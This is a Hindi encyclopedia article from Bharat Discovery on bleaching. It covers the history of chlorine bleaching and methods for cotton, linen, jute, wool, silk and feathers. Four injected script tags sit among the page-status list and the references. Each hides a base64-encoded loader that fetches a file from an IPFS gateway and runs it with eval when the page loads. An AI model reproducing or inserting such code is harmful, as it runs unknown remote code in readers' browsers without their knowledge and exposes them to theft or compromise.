विरंजन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

विरंजन रंगीन पदार्थों से रंग निकालकर उन्हें श्वेत करने को कहते हैं। इसमें से केवल रंग ही नहीं निकलता, बल्कि प्राकृतिक पदार्थों से अनेक अपद्रव्य भी निकल जाते हैं। अनेक पदार्थों को विरंजित करने की आवश्यकता पड़ती है। ऐसे पदार्थों में रूई, वस्त्र, लिनेन, ऊन, रेशम, कागज लुगदी, मधु, मोम, तेल, चीनी और अनेक अन्य पदार्थ हैं। ऊन और सूती वस्त्र के विरंजन की कला हमें बहुत प्राचीन काल से मालूम है। प्राचीन मिस्रवासी, यूनानी, रोमवासी तथा फिनिशियावासी विरंजित सामान तैयार करते थे, पर कैसे करते थे, इसका पता हमें नहीं है। प्लिनी [1] ने कुछ पेड़ों और पेड़ों की राखों का उल्लेख किया है। ऐसा मालूम होता है कि यूरोप में डच लोग विरंजन की कला में अधिक विख्यात थे। इंग्लैंड में 14वीं शताब्दी में विरंजन करने के स्थानों का वर्णन मिलता है। 18वीं शताब्दी में इसका प्रचार वस्तुत: व्यापक हो गया था। उस समय वस्त्रों को क्षारीय द्रावों [2] में कई दिनों तक डूबाकर धोते और घास पर कई सप्ताह सुखाते थे। इसके बाद वस्त्रों को मट्ठे में कई दिन डुबाकर फिर धोकर साफ करते थे।

इतिहास

विरंजन व्यवसाय की स्थापना वस्तुत: 1787 ई. में हुई। उस समय,क्लोरीन का आविष्कार हो चुका था और वस्त्रों के विरंजन में यह बड़ा प्रभावकारी सिद्ध हुआ था। बेटौले [3] पहले वैज्ञानिक थे, जिन्होंने स्पष्ट रूप से घोषित किया था, कि वस्त्रों के विरंजन में क्लोरीन गैस का उपयोग हो सकता है, और इसका उल्लेख उन्होंने अपने एक निबंध में किया था, जो जर्नल द फ़िज़िक में 1786 ई. में छपा था। इसका उपयोग कई देशों में होने लगा। विरंजन के लिए क्लोरीन गैस असुविधाजनक थी। इससे इसके उपयोग में कुछ समय तक अच्छी प्रगति न हो सकी। पीछे देखा गया कि क्लोरीन को दाहक पोटैश में अवशोषित करके उपयोग करने पर भी विरंजन हो सकता है। फिर क्लोरीन को चूने में अवशोषित कर विरंजन चूर्ण तैयार किया गया, जिसका उपयोग आज तक होता आ रहा है। इसके स्थान में अब सोडियम हाइपोक्लोराइट और द्रव क्लोरीन का प्रयोग भी होने लगा है।[4]

रूई का विरंजन

कच्ची रूई में अपद्रव्य के रूप में मोम, वसाम्ल, पेक्टिन, रंजक, ऐल्ब्युमिनॉयड और खनिज लवण रहते हैं। इनकी मात्रा लगभग पाँच प्रतिशत तक रह सकती है। विरंजन से ये अपद्रव्य बहुत कुछ निकल जाते हैं। यदि रूई का विरंजन पहले नहीं हुआ है, तो अपद्रव्यों को निकलने के लिए रूई के सूतों और वस्त्रों का भी विरंजन होता है।

कपास के सूत का प्रयोग

कपास के सूत के विरंजन के लिए सूत को तीन से चार प्रतिशत सोडा ऐश, या दो प्रतिशत दाहक सोडा, के साथ छह से आठ घंटे तक न्यून दबाव पर उबालते हैं। फिर उसे धोकर विरंजन द्रव के साथ आधे से दो घंटे तक उपचारित करते हैं। उसे फिर पानी से धोकर 2 डिग्री सेंटीग्रेट ट्वाडेल हाइड्रोक्लोरिक या सल्फ्यूरिक अम्ल में डुबाकर भली भाँति धो लेते हैं। यदि सूत को बिल्कुल सफेद बनाना है, तो उसको साबुन के दुर्बल विलयन में निलंबित कर कुछ रंग लेते हैं। उबालने से सूत के अधिकांश अपद्रव्य निकल जाते हैं। यदि अल्प रेज़िन साबुन मिलाकर उबालें, तो मोम प्राय: समस्त निकल जाता है। यदि वस्त्र विरंजन किया जाए, तो उससे मोम के साथ-साथ वे पदार्थ भी, जैसे स्टार्च, मैग्नीशियम लवण आदि, जो सज्जीकरण में प्रयुक्त होते हैं, विरंजन के पश्चात्‌ वस्त्र हल्के नीला से रँगने से कपड़े बिल्कुल सफेद हो जाते हैं। यदि कपड़े पर छींट की छपाई करनी हो, तो वस्त्रों को विरंजित कर बिल्कुल सफेद बनाना आवश्यक होता है।[4]

सन के सूतों की मात्रा

सन के सूतों का विरंजन अधिक पेचीदा और अपसाध्य होता है, क्योंकि ऐसे सूत में अपद्रव्यों की मात्रा 20 प्रतिशत या इससे भी अधिक रहती है, जबकि रूई में अपद्रव्यों की मात्रा 5 प्रतिशत से अधिक नहीं रहती। सन के सूतों में जो अपद्रव्य रहते हैं, उनमें रंजकों के अतिरिक्त एक विशेष प्रकार का मोम, 'सनई मोम', रहता है, जिस पर किसी अभिकर्मक की क्रिया कठिन होती है। यदि सनई के वस्त्रों का विरंजन करना है, तो कठिनता और बढ़ जाती है, क्योंकि ऐसे वस्त्रों में विरंजकों का प्रवेश कुछ कठिन होता है।

सनई के सूतों और वस्त्रों का विरंजन

सनई के सूतों और वस्त्रों का विरंजन प्राय: वैसे ही होता है, जैसे रूई के सूतों और वस्त्रों का। अंतर केवल इस बात का रहता है, कि उन्हें घास पर रखकर धूप में सुखाना पड़ता है। इसमें समय बहुत अधिक लगता है। जहाँ रूई के सूतों और वस्त्रों का विरंजन एक सप्ताह से कम समय में हो जाता है, वहाँ सनई के सूतों और वस्त्रों के विरंजन में कम से कम छह सप्ताह लगते हैं। विरंजन में लगने वाला समय और खर्च कम करने के अनेक प्रयत्न हुए हैं, पर उनमें अभी यथोचित सफलता नहीं मिली है। यदि अधिक प्रबल विरंजन प्रयुक्त किए जाएँ, तो रेशों के क्षतिग्रस्त हो जाने की आशंका रहती है, और उनकी चमक भी बहुत कुछ नष्ट हो जाती है। समय-समय पर इस विरंजन में अनेक सुधार हुए हैं, जिनमें विरंजन चूर्ण के स्थान पर सोडियम हाइपोक्लोराइट का व्यवहार, धूप में सुखाने के स्थान पर विद्युत्‌ से प्रस्तुत ओज़ॉन की क्रिया, उबालने के बाद कोमल साबुन से तख्तों के बीच रगड़ना, या नाइट्रिक अम्ल के तनु विलयन में डुबाना आदि है। जूट के रेशों या वस्त्रों का विरंजन भी रूई या सनई के रेशों और वस्त्रों के समान ही होता है। केवल क्षार का उपयोग इनके साथ नहीं करते। इन्हें केवल सोडियम हाइपोक्लोराइट से उपचारित कर अम्ल से धो डालते हैं। पुआलों का विरंजन हाइड्रोजन परॉक्साइड के विलयन में 12 घंटे से लेकर कई दिनों तक डुबाकर, फिर सलफ्यूरिक अम्ल की क्रिया से किया जाता है।[4]

ऊन का विरंजन

ऊन के सामानों का विरंजन करने से वे उतने श्वेत नहीं होते जितना रूई या लिनेन के सामान होते हैं, पर यदि उनका उपचार सलफ्यूरस अम्ल या हाइड्रोजन परॉक्साइड से किया जाए, तो उनका रूप बहुत कुछ सुधर जाता है। उपचार के बाद सूत को धोकर लटकाया जाता है। फिर भिगाया जाता है और अल्प नीला देकर एक कक्ष के विलयन में ले जाया जाता है, जहाँ सल्फर डाइऑक्साइड बनता है। रात भर सामान को वहाँ रहने देते हैं। इसी रीति से जांतव रोमों या कूचों को भी विरंजित करते हैं। सोडियम बाइसल्फाइट के कुछ प्रबल विलयन में डुबाकर रखने से भी ऊन का विरंजन होता है। ऐसे विरंजित ऊन को साबुन से धोने पर रंग फिर लौट आता है। यदि हाइड्रोजन परॉक्साइड से विरंजित किया जाए और पीछे अमोनिया या सोडियम सिलिकेट से क्षारीय बना लिया जाए, तो विरंजन स्थायी होता है। काले या भूरे ऊन को विरंजन से बिल्कुल सफेद तो नहीं बनाया जा सकता, पर उन्हें सुनहरा किया जा सकता है।

प्राकृतिक रेशम के ऊपर सेरिसिन की मात्रा

प्राकृतिक रेशम के ऊपर सेरिसिन [5] या रेशम गोंद, रहने के कारण वह देखने में मंद लगता है। सेरिसिन 19-25 प्रतिशत तक रह सकता है। सेरिसिन को निकालने के लिए, 30 प्रतिशत भार के साबुन को पानी में धुलाकर उसमें रेशम को लगभग 3 घंटे तक क्वथनांक से निम्न ताप पर तपाया जाता है। इससे सेरिसिन घुलकर निकल जाता है और रेशे पर विशेष चमक आ जाती है। अब रेशम को हल्के सोडा विलयन से धोकर वांछित रंग में रंग लेते हैं।

हाइड्रोजन परॉक्साइड का उपयोग

एक विशेष प्रकार के रेशम, टसर के विरंजन के लिए, हाइड्रोजन परॉक्साइड का उपयोग होता है। यदि पक्षियों के पंखों को विरंजित करना हो, तो हाइड्रोजन परॉक्साइड को अल्प अमोनिया डालकर, क्षारीय बनाकर विरंजित किया जा सकता है। हाथी के दाँतों का भी विरंजन इसी प्रकार होता है। हाइड्रोजन परॉक्साइड वस्तुत: सर्वश्रेष्ठ विरंजक है। जांतव और वानस्पतिक दोनों प्रकार के सामानों का इससे समान रूप से विरंजन किया जा सकता है। इसके अनेक तैयार विलयन बाज़ारों में बिकते हैं और घरेलू विरंजनों में प्रयुक्त होते हैं। इसमें दोष है, तो यही कि अन्य विरंजकों से यह कीमती होता है।[4]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. Pliny
  2. lye
  3. Berthollet
  4. 4.0 4.1 4.2 4.3 विरंजन (हिन्दी) भारतखोज। अभिगमन तिथि: 9 सितम्बर, 2015।
  5. sericine,

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>